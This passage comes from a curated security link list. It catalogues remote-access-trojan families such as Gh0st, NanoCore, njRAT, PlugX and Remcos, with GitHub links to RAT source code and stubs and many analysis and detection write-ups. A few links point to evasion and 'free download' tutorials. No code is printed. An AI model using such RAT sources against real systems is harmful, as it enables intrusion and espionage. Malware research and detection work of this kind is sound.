service](https://www.webroot.com/blog/2014/02/10/managed-teamviewer-based-anti-forensics-capable-virtual-machines-offered-service/) - 2014.01 [robert] [Howto install Teamviewer 9.x on Ubuntu >= 12.04 64bit (in my case 13.10)](https://robert.penz.name/709/howto-install-teamviewer-9-x-on-ubuntu-12-04-64bit-in-my-case-13-10/) - 2013.05 [security] [Installing Teamviewer 8 on Kali 64bit (Debian)](http://security-is-just-an-illusion.blogspot.com/2013/05/installing-teamviewer-8-on-kali-64bit.html) - 2013.03 [securelist] [The TeamSpy Crew Attacks – Abusing TeamViewer for Cyberespionage](https://securelist.com/the-teamspy-crew-attacks-abusing-teamviewer-for-cyberespionage-8/35520/) # <a id="f6f85e2d4f8e5442884f4d9b6e56ca42"></a>RAT Malware *** ## <a id="74d9131b5ad95c569c0afb9ee5a3c9b9"></a>Gh0st ### <a id="dcb10cc6813a25815201b36bacdef198"></a>Tools - [**301**Star][7d] [C++] [yuanyuanxiang/simpleremoter](https://github.com/yuanyuanxiang/simpleremoter) RAT based on gh0st - [**273**Star][7y] [C++] [sin5678/gh0st](https://github.com/sin5678/gh0st) a open source remote administrator tool - [**91**Star][6y] [C++] [igh0st/gh0st3.6_src](https://github.com/igh0st/gh0st3.6_src) - [**90**Star][1m] [C++] [zibility/remote](https://github.com/zibility/remote) 参考Gh0st源码，实现的一款PC远程协助软件，拥有远程Shell、文件管理、桌面管理、消息发送等功能。 - [**21**Star][5m] [C++] [holmesian/gh0st-light](https://github.com/holmesian/gh0st-light) 精简之后的老东西 ### <a id="683b7000242336c05ea278c9ad3d7e5e"></a>Post - 2020.01 [z3roTrust] [Becoming Untraceable - 12.0_Gh0st_Us3r.dll](https://medium.com/p/4c43ed5c4872) - 2020.01 [rsa] [Detecting Gh0st RAT in the RSA NetWitness Platform](https://community.rsa.com/community/products/netwitness/blog/2020/01/09/detecting-gh0st-rat-in-netwitness) - 2019.06 [binarydefense] [Gh0stCringe (Formerly CirenegRAT) - Binary Defense](https://www.binarydefense.com/gh0stcringeformerly-cirenegrat/) - 2019.03 [alienvault] [The odd case of a Gh0stRAT variant](https://www.alienvault.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant) - 2018.11 [trendmicro] [Using Machine Learning to Cluster Malicious Network Flows From Gh0st RAT Variants](https://blog.trendmicro.com/trendlabs-security-intelligence/using-machine-learning-to-cluster-malicious-network-flows-from-gh0st-rat-variants/) - 2018.08 [traffic] [[2018-08-12] KaiXinEK->Gh0stRAT](https://traffic.moe/2018/08/12/index.html) - 2018.07 [traffic] [[2018-07-16] KaiXinEK->Gh0stRAT](https://traffic.moe/2018/07/16/index.html) - 2018.07 [inquest] [Field Notes: Malicious HFS Instances Serving Gh0stRAT](https://inquest.net/blog/2018/07/09/field-notes-malicious-hfs-servers) - 2018.07 [360] [针对一个远控木马Gh0st RAT样本的初始化分析](https://www.anquanke.com/post/id/150098/) - 2018.05 [id] [CryptGh0st](http://id-ransomware.blogspot.com/2018/05/cryptgh0st-ransomware.html) - 2018.05 [freebuf] [解码Gh0st RAT变种中的网络数据](http://www.freebuf.com/articles/network/170636.html) - 2018.04 [freebuf] [Gh0st大灰狼RAT家族通讯协议分析](http://www.freebuf.com/articles/paper/167917.html) - 2018.04 [360] [Gh0st/大灰狼RAT家族通讯协议分析](https://www.anquanke.com/post/id/103831/) - 2017.12 [traffic] [[2017-12-06] KaiXinEK->Gh0stRAT](https://traffic.moe/2017/12/06/index.html) - 2016.06 [cysinfo] [Hunting and Decrypting Communications of Gh0st RAT in Memory](https://cysinfo.com/hunting-and-decrypting-communications-of-gh0st-rat-in-memory/) - 2014.05 [pediy] [[原创]Gh0st3.6 windows7无法连接bug分析](https://bbs.pediy.com/thread-187505.htm) - 2014.04 [pediy] [[讨论]Gh0st3.6 IOCP发送BUG](https://bbs.pediy.com/thread-186833.htm) - 2014.03 [trendmicro] [Kunming Attack Leads to Gh0st RAT Variant](https://blog.trendmicro.com/trendlabs-security-intelligence/kunming-attack-leads-to-gh0st-rat-variant/) - 2013.08 [pediy] [二次的gh0st](https://bbs.pediy.com/thread-177231.htm) - 2013.06 [trendmicro] [Targeted Attack in Taiwan Uses Infamous Gh0st RAT](https://blog.trendmicro.com/trendlabs-security-intelligence/targeted-attack-in-taiwan-uses-infamous-gh0st-rat/) - 2012.11 [trendmicro] [DaRK DDoSseR Leads to Gh0st RAT](https://blog.trendmicro.com/trendlabs-security-intelligence/dark-ddosser-leads-to-gh0st-rat/) - 2012.06 [alienvault] [New MaControl variant targeting Uyghur users, the Windows version using Gh0st RAT](https://www.alienvault.com/blogs/labs-research/new-macontrol-variant-targeting-uyghur-users-the-windows-version-using-gh0s) - 2012.05 [forcepoint] [The Amnesty International UK website was compromised to serve Gh0st RAT [Update]](https://www.forcepoint.com/blog/security-labs/amnesty-international-uk-website-was-compromised-serve-gh0st-rat-update) *** ## <a id="81308c6923f66db886efe8ae967c2845"></a>NanoCore ### <a id="c84aebee516fbf526701102cfa6d0a98"></a>Tools - [**2**Star][10m] [Py] [jacobpimental/nanocore_extractor](https://github.com/jacobpimental/nanocore_extractor) Extracts nanocore sample from compile AutoIT script ### <a id="6df7f0da7bb260a54405579912678c0d"></a>Post - 2020.01 [molly] [NanoCore: The RAT that keeps on keeping on. How to detect and prove an infection.](https://www.peerlyst.com/posts/nanocore-the-rat-that-keeps-on-keeping-on-how-to-detect-and-prove-an-infection-molly-payne) - 2019.11 [4hou] [双加载的ZIP文件传播Nanocore RAT](https://www.4hou.com/info/news/21483.html) - 2019.10 [morphisec] [NanoCore RAT Under the Microscope](https://blog.morphisec.com/nanocore-under-the-microscope) - 2019.06 [myonlinesecurity] [More AgentTesla keylogger and Nanocore RAT in one bundle](https://myonlinesecurity.co.uk/more-agenttesla-keylogger-and-nanocore-rat-in-one-bundle/) - 2019.06 [myonlinesecurity] [Nanocore RAT via fake DHL failed delivery in Chinese](https://myonlinesecurity.co.uk/nanocore-rat-via-fake-dhl-failed-delivery-in-chinese/) - 2019.06 [4hou] [解析NanoCore犯罪软件攻击链](https://www.4hou.com/web/18610.html) - 2019.06 [yoroi] [Dissecting NanoCore Crimeware Attack Chain](https://blog.yoroi.company/research/dissecting-nanocore-crimeware-attack-chain/) - 2019.05 [myonlinesecurity] [nanocore RAT via fake order in password protected word doc with wrong password](https://myonlinesecurity.co.uk/nanocore-rat-via-fake-order-in-password-protected-word-doc-with-wrong-password/) - 2019.05 [myonlinesecurity] [Fake Fedex Express Shipment For Pickup in iso delivers nanocore using Sendgrid](https://myonlinesecurity.co.uk/fake-fedex-express-shipment-for-pickup-in-iso-delivers-nanocore-using-sendgrid/) - 2019.05 [goggleheadedhacker] [Unpacking NanoCore Sample Using AutoIT](https://www.goggleheadedhacker.com/blog/post/11) - 2019.03 [carbonblack] [TAU Threat Intelligence Notification: NanoCore – Old Malware, New Tricks!](https://www.carbonblack.com/2019/03/20/tau-threat-intelligence-notification-nanocore-old-malware-new-tricks/) - 2019.01 [myonlinesecurity] [Fake Autec Power purchase Order delivers Nanocore RAT](https://myonlinesecurity.co.uk/fake-autec-power-purchase-order-delivers-nanocore-rat/) - 2019.01 [myonlinesecurity] [Nanocore via fake order using dde in csv files](https://myonlinesecurity.co.uk/nanocore-via-fake-order-using-dde-in-csv-files/) - 2019.01 [myonlinesecurity] [Nanocore RAT via fake order emails](https://myonlinesecurity.co.uk/nanocore-rat-via-fake-order-emails/) - 2019.01 [malware] [2019-01-04 - MALSPAM PUSHES NANOCORE RAT](http://malware-traffic-analysis.net/2019/01/04/index.html) - 2018.11 [myonlinesecurity] [Fake Payment Receipt delivers Nanocore RAT malware](https://myonlinesecurity.co.uk/fake-payment-receipt-delivers-nanocore-rat-malware/) - 2018.06 [UltraHacks] [NanoCore [Free Download] [No Virus] [DL] | Ultra Hacks](https://www.youtube.com/watch?v=lghASMr6VtA) - 2018.04 [myonlinesecurity] [Fake PAYMENT CONFIRMATION emails deliver Nanocore RAT](https://myonlinesecurity.co.uk/fake-payment-confirmation-emails-deliver-nanocore-rat/) - 2018.04 [myonlinesecurity] [Nanocore Rat delivered via fake order emails](https://myonlinesecurity.co.uk/nanocore-rat-delivered-via-fake-order-emails/) - 2018.04 [myonlinesecurity] [Nanocore via fake Purchase order malspam using Microsoft Office Equation Editor exploits](https://myonlinesecurity.co.uk/nanocore-via-fake-purchase-order-malspam-using-microsoft-office-equation-editor-exploits/) - 2018.04 [myonlinesecurity] [Nanocore RAT delivered by fake order malspam](https://myonlinesecurity.co.uk/nanocore-rat-delivered-by-fake-order-malspam/) - 2018.02 [krebsonsecurity] [Bot Roundup: Avalanche, Kronos, NanoCore](https://krebsonsecurity.com/2018/02/bot-roundup-avalanche-kronos-nanocore/) - 2017.11 [myonlinesecurity] [Fake Product Enquiry malspam delivers Nanocore RAT](https://myonlinesecurity.co.uk/fake-product-enquiry-malspam-delivers-nanocore-rat/) - 2017.10 [fortinet] [PDF Phishing Leads to Nanocore RAT, Targets French Nationals](https://blog.fortinet.com/2017/10/12/pdf-phishing-leads-to-nanocore-rat-targets-french-nationals) - 2017.10 [fortinet] [PDF Phishing Leads to Nanocore RAT, Targets French Nationals](https://www.fortinet.com/blog/threat-research/pdf-phishing-leads-to-nanocore-rat-targets-french-nationals.html) - 2017.08 [myonlinesecurity] [Angelika Rodriguez – [email protected] – Purchase Order malspam delivers nanocore RAT](https://myonlinesecurity.co.uk/angelika-rodriguez-zalesmunicipiodepaute-gob-ec-purchase-order-malspam-delivers-nanocore-rat/) - 2017.05 [netskope] [NanocoreRAT delivery via cloud storage apps shifts from .uue to .r11](https://www.netskope.com/blog/nanocorerat-delivery-via-cloud-storage-apps-shifts-uue-r11/) - 2017.03 [itsjack] [Nanocore Cracked Alcatraz – Leaving The Door Open](https://itsjack.cc/blog/2017/03/nanocore-cracked-alcatraz-leaving-the-door-open/) - 2016.10 [sans] [Malspam delivers NanoCore RAT](https://isc.sans.edu/forums/diary/Malspam+delivers+NanoCore+RAT/21615/) - 2016.02 [paloaltonetworks] [NanoCoreRAT Behind an Increase in Tax-Themed Phishin](https://unit42.paloaltonetworks.com/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/) - 2015.11 [f] [Halloween RAT: NanoCore Served Via PageFair Service](https://labsblog.f-secure.com/2015/11/02/halloween-rat-nanocore-served-via-pagefair-service/) - 2015.04 [ensilo] [NanoCore RAT: It’s Not 100% Original](https://blog.ensilo.com/nanocore-rat-not-100-original) *** ## <a id="31bd9e6c54fdd9a00a45542e53abc13b"></a>NjRat ### <a id="ff7bcb6c765cb73cfadda9f06deda668"></a>Tools - [**143**Star][2y] [Visual Basic .NET] [alibawazeeer/rat-njrat-0.7d-modded-source-code](https://github.com/alibawazeeer/rat-njrat-0.7d-modded-source-code) NJR - [**128**Star][8d] [Visual Basic] [mwsrc/njrat](https://github.com/mwsrc/njrat) njRAT SRC Extract - [**14**Star][5m] [C#] [nyan-x-cat/njrat-0.7d-stub-csharp](https://github.com/nyan-x-cat/njrat-0.7d-stub-csharp) njRAT C# Stub - Fixed For PowerShell - [**3**Star][2y] [Py] [seep1959/njutils](https://github.com/seep1959/njutils) A client and chat program for njrat 0.6.4, 0.7d, and 0.7d golden edition. ### <a id="de09011e16164e950d653756212219ac"></a>Post - 2019.12 [carbonblack] [Threat Analysis Unit (TAU) Threat Intelligence Notification: njRAT](https://www.carbonblack.com/2019/12/10/threat-analysis-unit-tau-threat-intelligence-notification-njrat/) - 2019.09 [freebuf] [Gorgon APT组织再做文章：DropBox到NJRat的曲折历程](https://www.freebuf.com/articles/system/213082.html) - 2019.05 [morphisec] [A look at Hworm / Houdini AKA njRAT](https://blog.morphisec.com/hworm-houdini-aka-njrat) - 2019.05 [myonlinesecurity] [Fake Payment receipt vbs drops njrat bladabindi downloads Agent Tesla via Sendspace.](https://myonlinesecurity.co.uk/fake-payment-receipt-vbs-drops-njrat-bladabindi-downloads-agent-tesla-via-sendspace/) - 2018.11 [trendmicro] [AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor](https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/) - 2018.06 [360] [老树开新花--njRAT家族恶意软件分析报告](https://www.anquanke.com/post/id/149654/) - 2018.06 [freebuf] [技术讨论 | NjRAT通过base64编码加密混淆Code免杀绕过360杀毒实验](http://www.freebuf.com/articles/rookie/174776.html) - 2018.04 [UltraHacks] [njRAT v0.7 | Tutorial | www.ultrahacks.org | Ultra Hacks](https://www.youtube.com/watch?v=qvURwIAzGo4) - 2018.03 [broadanalysis] [Guest Blog Post: njRat Analysis with Volatility](http://www.broadanalysis.com/2018/03/25/guest-blog-post-njrat-analysis-with-volatility/) - 2018.01 [rsa] [Malspam delivers njRAT 1-11-2018](https://community.rsa.com/community/products/netwitness/blog/2018/01/12/malspam-delivers-njrat-1-11-2018) - 2017.12 [malwarenailed] [Revisiting HWorm and NjRAT](http://malwarenailed.blogspot.com/2017/05/revisiting-hworm-and-njrat.html) - 2016.12 [freebuf] [史上最全的njRAT通信协议分析](http://www.freebuf.com/articles/network/122244.html) - 2016.08 [MalwareAnalysisForHedgehogs] [Malware Analysis - Unpacking njRAT Protected by Confuser v.1.9 and others](https://www.youtube.com/watch?v=92GDWqCK1rQ) - 2016.01 [sensecy] [Is There A New njRAT Out There?](https://blog.sensecy.com/2016/01/05/is-there-a-new-njrat-out-there/) - 2015.12 [sec] [木马情报分析之：njRAT&H-worm](https://www.sec-un.org/trojan-information-analysis-njrath-worm/) - 2015.11 [alienvault] [KilerRat: Taking over where Njrat remote access trojan left off](https://www.alienvault.com/blogs/labs-research/kilerrat-taking-over-where-njrat-remote-access-trojan-left-off) - 2015.08 [virusbulletin] [Paper: Life after the apocalypse for the Middle Eastern NJRat campaign](https://www.virusbulletin.com/blog/2015/08/paper-life-after-apocalypse-middle-eastern-njrat-campaign/) - 2014.08 [mcafee] [Trailing the Trojan njRAT](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/trail-njrat/) - 2014.08 [mcafee] [Trailing the Trojan njRAT](https://securingtomorrow.mcafee.com/mcafee-labs/trail-njrat/) - 2014.01 [rsa] [Detecting njRAT in Your Environment](https://community.rsa.com/community/products/netwitness/blog/2014/01/02/detecting-njrat-in-your-environment) *** ## <a id="db2bbd5298638952f34060e4f8ee0053"></a>Revenge RAT ### <a id="cef60ee76daa3240e95bbf82f2994848"></a>Tools - [**21**Star][2m] [C#] [nyan-x-cat/revengerat-stub-cssharp](https://github.com/nyan-x-cat/revengerat-stub-cssharp) Revenge-RAT C# Stub - Fixed ### <a id="2dd3016da115b16c9de264b885105eff"></a>Post - 2020.01 [malware] [2020-01-15 - QUICK POST: MALSPAM PUSHING REVENGE RAT](http://malware-traffic-analysis.net/2020/01/15/index.html) - 2019.11 [fortinet] [Double Trouble: RevengeRAT and WSHRAT](https://www.fortinet.com/blog/threat-research/malware-analysis-revenge-rat-sample.html) - 2019.09 [360] [Revenge-RAT is used in phishing emails attacks against Italy](https://blog.360totalsecurity.com/en/revenge-rat-is-used-in-phishing-emails-attacks-against-italy/) - 2019.04 [4hou] [利用钓鱼邮件传播RevengeRAT的Aggah行动](https://www.4hou.com/web/17521.html) - 2019.03 [alienvault] [Mapping TrickBot and RevengeRAT with MITRE ATT&CK and AlienVault USM Anywhere](https://www.alienvault.com/blogs/labs-research/mapping-trickbot-and-revengerat-with-mitre-attck-and-alienvault-usm-anywhere) - 2019.02 [4hou] [Revenge RAT恶意软件升级版来袭](http://www.4hou.com/web/16164.html) - 2018.04 [dissectmalware] [Stealthy VBScript dropper dropping Revenge RAT](https://dissectmalware.wordpress.com/2018/04/08/stealthy-powershell-dropper-dropping-revenge-rat/) - 2017.10 [rsa] [Malspam Delivers Revenge RAT October-2017](https://community.rsa.com/community/products/netwitness/blog/2017/10/26/malspam-delivers-revenge-rat-october-2017) - 2016.08 [deniable] [Lurking Around Revenge-RAT](http://blog.deniable.org/blog/2016/08/26/lurking-around-revenge-rat/) *** ## <a id="37466b42f2f777fa5a6400d78931995c"></a>PlugX ### <a id="03b501e2e5da59c3c97027775e6a93b7"></a>Tools - [**28**Star][7y] [Py] [kcreyts/plugxdecoder](https://github.com/kcreyts/plugxdecoder) Decodes PlugX traffic and encrypted/compressed artifacts ### <a id="17ca6dd6130c10b726039472c20bb093"></a>Post - 2020.01 [hexacorn] [The Wizard of X – Oppa PlugX style, Part 2](http://www.hexacorn.com/blog/2020/01/24/the-wizard-of-x-oppa-plugx-style-part-2/) - 2019.11 [BorjaMerino] [Rebind Socket Windows: PoC PlugX Controller](https://www.youtube.com/watch?v=MtscvthsaeY) - 2018.06 [countuponsecurity] [Digital Forensics – PlugX and Artifacts left behind](https://countuponsecurity.com/2018/06/20/digital-forensics-plugx-and-artifacts-left-behind/) - 2018.05 [countuponsecurity] [Malware Analysis – PlugX – Part 2](https://countuponsecurity.com/2018/05/09/malware-analysis-plugx-part-2/) - 2018.02 [4hou] [揭秘PlugX 恶意软件家族的攻击实力](http://www.4hou.com/technology/10394.html) - 2018.02 [360] [PlugX恶意软件分析报告](https://www.anquanke.com/post/id/98166/) - 2018.02 [countuponsecurity] [Malware Analysis – PlugX](https://countuponsecurity.com/2018/02/04/malware-analysis-plugx/) - 2017.09 [fortinet] [Deep Analysis of New Poison Ivy/PlugX Variant - Part II](https://blog.fortinet.com/2017/09/15/deep-analysis-of-new-poison-ivy-plugx-variant-part-ii) - 2017.09 [fortinet] [Deep Analysis of New Poison Ivy/PlugX Variant - Part II](https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-poison-ivy-plugx-variant-part-ii.html) - 2017.09 [360] [Stack overflow in PlugX RAT](https://www.anquanke.com/post/id/86769/) - 2017.07 [hexacorn] [The Wizard of X – Oppa PlugX style](http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/) - 2017.02 [jpcert] [PlugX + Poison Ivy = PlugIvy? - PlugX Integrating Poison Ivy’s Code -](https://blogs.jpcert.or.jp/en/2017/02/plugx-poison-iv-919a.html) - 2016.06 [airbuscybersecurity] [Getting a PlugX builder](http://blog.airbuscybersecurity.com/post/2016/06/Getting-a-PlugX-builder) - 2016.06 [cylance] [CylancePROTECT® vs. PlugX – JTB Breach Affects 7.93 Million People in Japan](https://www.cylance.com/en_us/blog/cylanceprotect-vs-plugx.html) - 2016.03 [securelist] [PlugX malware: A good hacker is an apologetic hacker](https://securelist.com/plugx-malware-a-good-hacker-is-an-apologetic-hacker/74150/) - 2015.11 [volatility] [PlugX: Memory Forensics Lifecycle with Volatility](https://volatility-labs.blogspot.com/2015/11/plugx-memory-forensics-lifecycle-with.html) - 2015.09 [cyintanalysis] [Using threat_note To Track Campaigns: Returning to PIVY and PlugX Infrastructure](http://www.cyintanalysis.com/using-threat_note-to-track-campaigns-returning-to-pivy-and-plugx-infrastructure/) - 2015.09 [airbuscybersecurity] [Volatility plugin for PlugX updated](http://blog.airbuscybersecurity.com/post/2015/08/Volatility-plugin-for-PlugX-updated) - 2015.08 [rebsnippets] [PlugX Chronicles](http://rebsnippets.blogspot.com/2015/08/plugx-chronicles.html) - 2015.08 [cyintanalysis] [Threat Analysis: Poison Ivy and Links to an Extended PlugX Campaign](http://www.cyintanalysis.com/threat-analysis-poison-ivy-and-links-to-an-extended-plugx-campaign/) - 2015.08 [airbuscybersecurity] [Latest changes in PlugX](http://blog.airbuscybersecurity.com/post/2015/06/Latest-improvements-in-PlugX) - 2015.05 [paloaltonetworks] [PlugX Uses Legitimate Samsung Application for DLL Sid](https://unit42.paloaltonetworks.com/plugx-uses-legitimate-samsung-application-for-dll-side-loading/) - 2015.04 [freebuf] [恶意代码分析：台湾官方版英雄联盟LoL和流亡黯道PoE被植入远控工具PlugX](http://www.freebuf.com/vuls/63151.html) - 2015.01 [jpcert] [Analysis of a Recent PlugX Variant - “P2P PlugX”](https://blogs.jpcert.or.jp/en/2015/01/analysis-of-a-r-ff05.html) - 2015.01 [] [A Closer Look at PlugX from League of Legends / Path of Exile](http://909research.com/a-closer-look-at-plugx-from-league-of-legends-path-of-exile/) - 2015.01 [trendmicro] [PlugX Malware Found in Official Releases of League of Legends, Path of Exile](https://blog.trendmicro.com/trendlabs-security-intelligence/plugx-malware-found-in-official-releases-of-league-of-legends-path-of-exile/) - 2014.06 [trendmicro] [PlugX RAT With “Time Bomb” Abuses Dropbox for Command-and-Control Settings](https://blog.trendmicro.com/trendlabs-security-intelligence/plugx-rat-with-time-bomb-abuses-dropbox-for-command-and-control-settings/) - 2014.06 [lastline] [An Analysis of PlugX Using Process Dumps from High-Resolution Malware Analysis](https://www.lastline.com/labsblog/an-analysis-of-plugx-using-process-dumps-from-high-resolution-malware-analysis/) - 2014.01 [airbuscybersecurity] [PlugX "v2": meet "SController"](http://blog.airbuscybersecurity.com/post/2014/01/PlugX-v2%3A-meet-SController) - 2014.01 [airbuscybersecurity] [PlugX: some uncovered points](http://blog.airbuscybersecurity.com/post/2014/01/plugx-some-uncovered-points.html) - 2013.12 [lastline] [An Analysis of PlugX Malware](https://www.lastline.com/labsblog/an-analysis-of-plugx-malware/) - 2013.05 [freebuf] [FireEye：PlugX老马新用,针对中国政治活动的APT攻击分析](http://www.freebuf.com/news/9555.html) - 2013.04 [trendmicro] [New Wave of PlugX Targets Legitimate Apps](https://blog.trendmicro.com/trendlabs-security-intelligence/new-wave-of-plugx-targets-legitimate-apps/) - 2013.04 [securelist] [Winnti returns with PlugX](https://securelist.com/winnti-returns-with-plugx/66960/) - 2012.09 [freebuf] [国外大牛人肉定向攻击远控PlugX开发者全过程分析](http://www.freebuf.com/articles/others-articles/5718.html) - 2012.09 [alienvault] [The connection between the Plugx Chinese gang and the latest Internet Explorer Zeroday](https://www.alienvault.com/blogs/labs-research/the-connection-between-the-plugx-chinese-gang-and-the-latest-internet-explo) - 2012.09 [trendmicro] [Unplugging PlugX Capabilities](https://blog.trendmicro.com/trendlabs-security-intelligence/unplugging-plugx-capabilities/) - 2012.09 [alienvault] [Tracking down the author of the PlugX RAT](https://www.alienvault.com/blogs/labs-research/tracking-down-the-author-of-the-plugx-rat) - 2012.09 [freebuf] [新型远程控制工具Plugx正在被利用并通过钓鱼攻击日本政府](http://www.freebuf.com/news/5607.html) - 2012.09 [trendmicro] [PlugX: New Tool For a Not So New Campaign](https://blog.trendmicro.com/trendlabs-security-intelligence/plugx-new-tool-for-a-not-so-new-campaign/) *** ## <a id="ee2e3505664b3a7d26842b0278ccce23"></a>RemcosRAT - 2019.10 [fortinet] [New Variant of Remcos RAT Observed In the Wild](https://www.fortinet.com/blog/threat-research/new-variant-of-remcos-rat-observed-in-the-wild.html) - 2019.09 [myonlinesecurity] [Some changes to Remcos Rat persistence method](https://myonlinesecurity.co.uk/some-changes-to-remcos-rat-persistence-method/) - 2019.09 [myonlinesecurity] [Fake invoice tries to deliver Remcos RAT](https://myonlinesecurity.co.uk/fake-invoice-tries-to-deliver-remcos-rat/) - 2019.09 [freebuf] [钓鱼邮件中的Remcos RAT变种分析](https://www.freebuf.com/articles/network/212400.html) - 2019.08 [trendmicro] [Analysis: New Remcos RAT Arrives Via Phishing Email](https://blog.trendmicro.com/trendlabs-security-intelligence/analysis-new-remcos-rat-arrives-via-phishing-email/) - 2019.06 [myonlinesecurity] [Remcos Rat via fake invoice using multiple delivery methods.](https://myonlinesecurity.co.uk/remcos-rat-via-fake-invoice-using-multiple-delivery-methods/) - 2019.06 [HackerSploit] [Remcos RAT Review - The Most Advanced Remote Access Tool](https://www.youtube.com/watch?v=rffkJDcri18) - 2018.11 [myonlinesecurity] [More Fake DHL invoices delivering Remcos RAT via office XML files](https://myonlinesecurity.co.uk/more-fake-dhl-invoices-delivering-remcos-rat-via-office-xml-files/) - 2018.10 [myonlinesecurity] [Fake DHL READ : (DHL Express) -Delivery Address Confirmation delivers Remcos Rat](https://myonlinesecurity.co.uk/fake-dhl-read-dhl-express-delivery-address-confirmation-delivers-remcos-rat/) - 2018.09 [myonlinesecurity] [Fake Purchase Order email delivers Remcos RAT](https://myonlinesecurity.co.uk/fake-purchase-order-email-delivers-remcos-rat/) - 2018.09 [360] [揭秘Remcos下的僵尸网络](https://www.anquanke.com/post/id/158934/) - 2018.08 [securityledger] [Cisco Links Remote Access Tool Remcos to Cybercriminal Underground](https://securityledger.com/2018/08/cisco-links-remote-access-tool-remcos-to-cybercriminal-underground/) - 2018.08 [talosintelligence] [Picking Apart Remcos Botnet-In-A-Box](https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html) - 2018.08 [UltraHacks] [Remcos RAT Tutorial | Remote Administration Tool | Ultra Hacks](https://www.youtube.com/watch?v=hlf5k86LwMI) - 2018.07 [myonlinesecurity] [Fake DHL “Alert! Shipment Notification” delivers Remcos RAT](https://myonlinesecurity.co.uk/fake-dhl-alert-shipment-notification-delivers-remcos-rat/) - 2018.05 [fortinet] [New Remcos RAT Variant is Spreading by Exploiting CVE-2017-11882](https://www.fortinet.com/blog/threat-research/new-remcos-rat-variant-is-spreading-by-exploiting-cve-2017-11882.html) - 2018.04 [myonlinesecurity] [Remcos RAT delivered by fake ” your workers are fighting” message](https://myonlinesecurity.co.uk/remcos-rat-delivered-by-fake-your-workers-are-fighting-message/) - 2018.04 [myonlinesecurity] [Remcos RAT delivered via fake CCICM international debt recovery service](https://myonlinesecurity.co.uk/remcos-rat-delivered-via-fake-ccicm-international-debt-recovery-service/) - 2018.04 [myonlinesecurity] [Fake Payment recovery email spoofing CCICM international debt recovery service delivers Remcos rat via Microsoft Equation Editor Exploits](https://myonlinesecurity.co.uk/fake-payment-recovery-email-spoofing-ccicm-international-debt-recovery-service-delivers-remcos-rat-via-microsoft-equation-editor-exploits/) - 2018.03 [tencent] [新型远控木马Remcos利用CVE-2017-11882漏洞进行实时攻击](https://s.tencent.com/research/report/442.html) - 2018.03 [myonlinesecurity] [Fake order spoofed from Finchers ltd Sankyo-Rubber delivers Remcos RAT via ACE attachments](https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/) - 2017.09 [malwarebreakdown] [Malvertising Leads to RIG EK and Drops Remcos RAT.](https://malwarebreakdown.com/2017/09/27/malvertising-leads-to-rig-ek/) - 2017.09 [trendmicro] [A360 Drive Abused to Deliver Adwind, Remcos, Netwire RATs](https://blog.trendmicro.com/trendlabs-security-intelligence/a360-drive-adwind-remcos-netwire-rats/) - 2017.08 [cybereason] [Cybereason creates 'vaccine' to stop Remcos RAT](https://www.cybereason.com/blog/blog-cybereason-creates-vaccine-to-stop-remcos-rat) - 2017.02 [fortinet] [REMCOS: A New RAT In The Wild](https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html) *** ## <a id="3f113acb3b6863c4ec5cbe04ce69f841"></a>L0rdixRAT - 2019.08 [bromium] [Decrypting L0rdix RAT’s C2](https://www.bromium.com/decrypting-l0rdix-rats-c2/) - 2019.07 [bromium] [An Analysis of L0rdix RAT, Panel and Builder](https://www.bromium.com/an-analysis-of-l0rdix-rat-panel-and-builder/) - 2018.11 [ensilo] [L0RDIX: Multipurpose Attack Tool](https://blog.ensilo.com/l0rdix-attack-tool) *** ## <a id="07522f33ae58f9d0de0bdc202f6aa1aa"></a>LodaRAT - 2020.02 [talosintelligence] [Loda RAT Grows Up](https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html) *** ## <a id="e8fa6ccd3f727add34525951a81fd493"></a>GulfRAT - 2020.01 [TheCyberWire] [Phishing with a RAT in the Gulf. More on how Jeff Bezos was hacked. Microsoft discloses data...](https://www.youtube.com/watch?v=wFAcCuqdqSY) - 2020.01 [TheCyberWire] [Escalation in the Gulf as a US air strike kills Iran’s Quds commander. Travelex and RavnAir...](https://www.youtube.com/watch?v=R6j1evxLj1g) - 2019.08 [nettitude] [Tanker Cyber Attacks taking place in the Gulf](https://blog.nettitude.com/tanker-cyber-attacks) - 2017.09 [mikefrobbins] [PowerShell Toolmaking session this Saturday, September 30th at Gulf Coast Code Camp 2017 in Mobile, Alabama](http://mikefrobbins.com/2017/09/28/powershell-toolmaking-session-this-saturday-september-30th-at-gulf-coast-code-camp-2017-in-mobile-alabama/) - 2016.11 [fireeye] [FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region](https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html) - 2016.03 [elearnsecurity] [Visit eLearnSecurity on Gulf Information Security and Gulf Expo 2016 in Dubai](https://blog.elearnsecurity.com/visit-elearnsecurity-on-gulf-information-security-and-gulf-expo-2016-in-dubai.html) - 2015.07 [welivesecurity] [New report explains gulf between security experts and non-experts](https://www.welivesecurity.com/2015/07/28/new-report-explains-gulf-security-experts-non-experts/) - 2010.08 [publicintelligence] [Los Zetas and Gulf Cartel Perpetrators of Mexican Drug Trafficking Violence Organizational Chart](https://publicintelligence.net/los-zetas-and-gulf-cartel-perpetrators-of-mexican-drug-trafficking-violence-organizational-chart/) - 2010.05 [publicintelligence] [BP Minerals Management Service Workshop Brief: Unlocking Gulf of Mexico “Technological Challenges”](https://publicintelligence.net/bp-minerals-management-service-workshop-brief-gulf-of-mexico-technological-challenges/) *** ## <a id="57ea699dadcafe202a31772c837f9b7f"></a>NetWireRAT - 2020.01 [securityintelligence] [New NetWire RAT Campaigns Use IMG Attachments to Deliver Malware Targeting Enterprise Users](https://securityintelligence.com/posts/new-netwire-rat-campaigns-use-img-attachments-to-deliver-malware-targeting-enterprise-users/) - 2019.11 [carbonblack] [Active C2 Discovery Using Protocol Emulation Part1 (HYDSEVEN 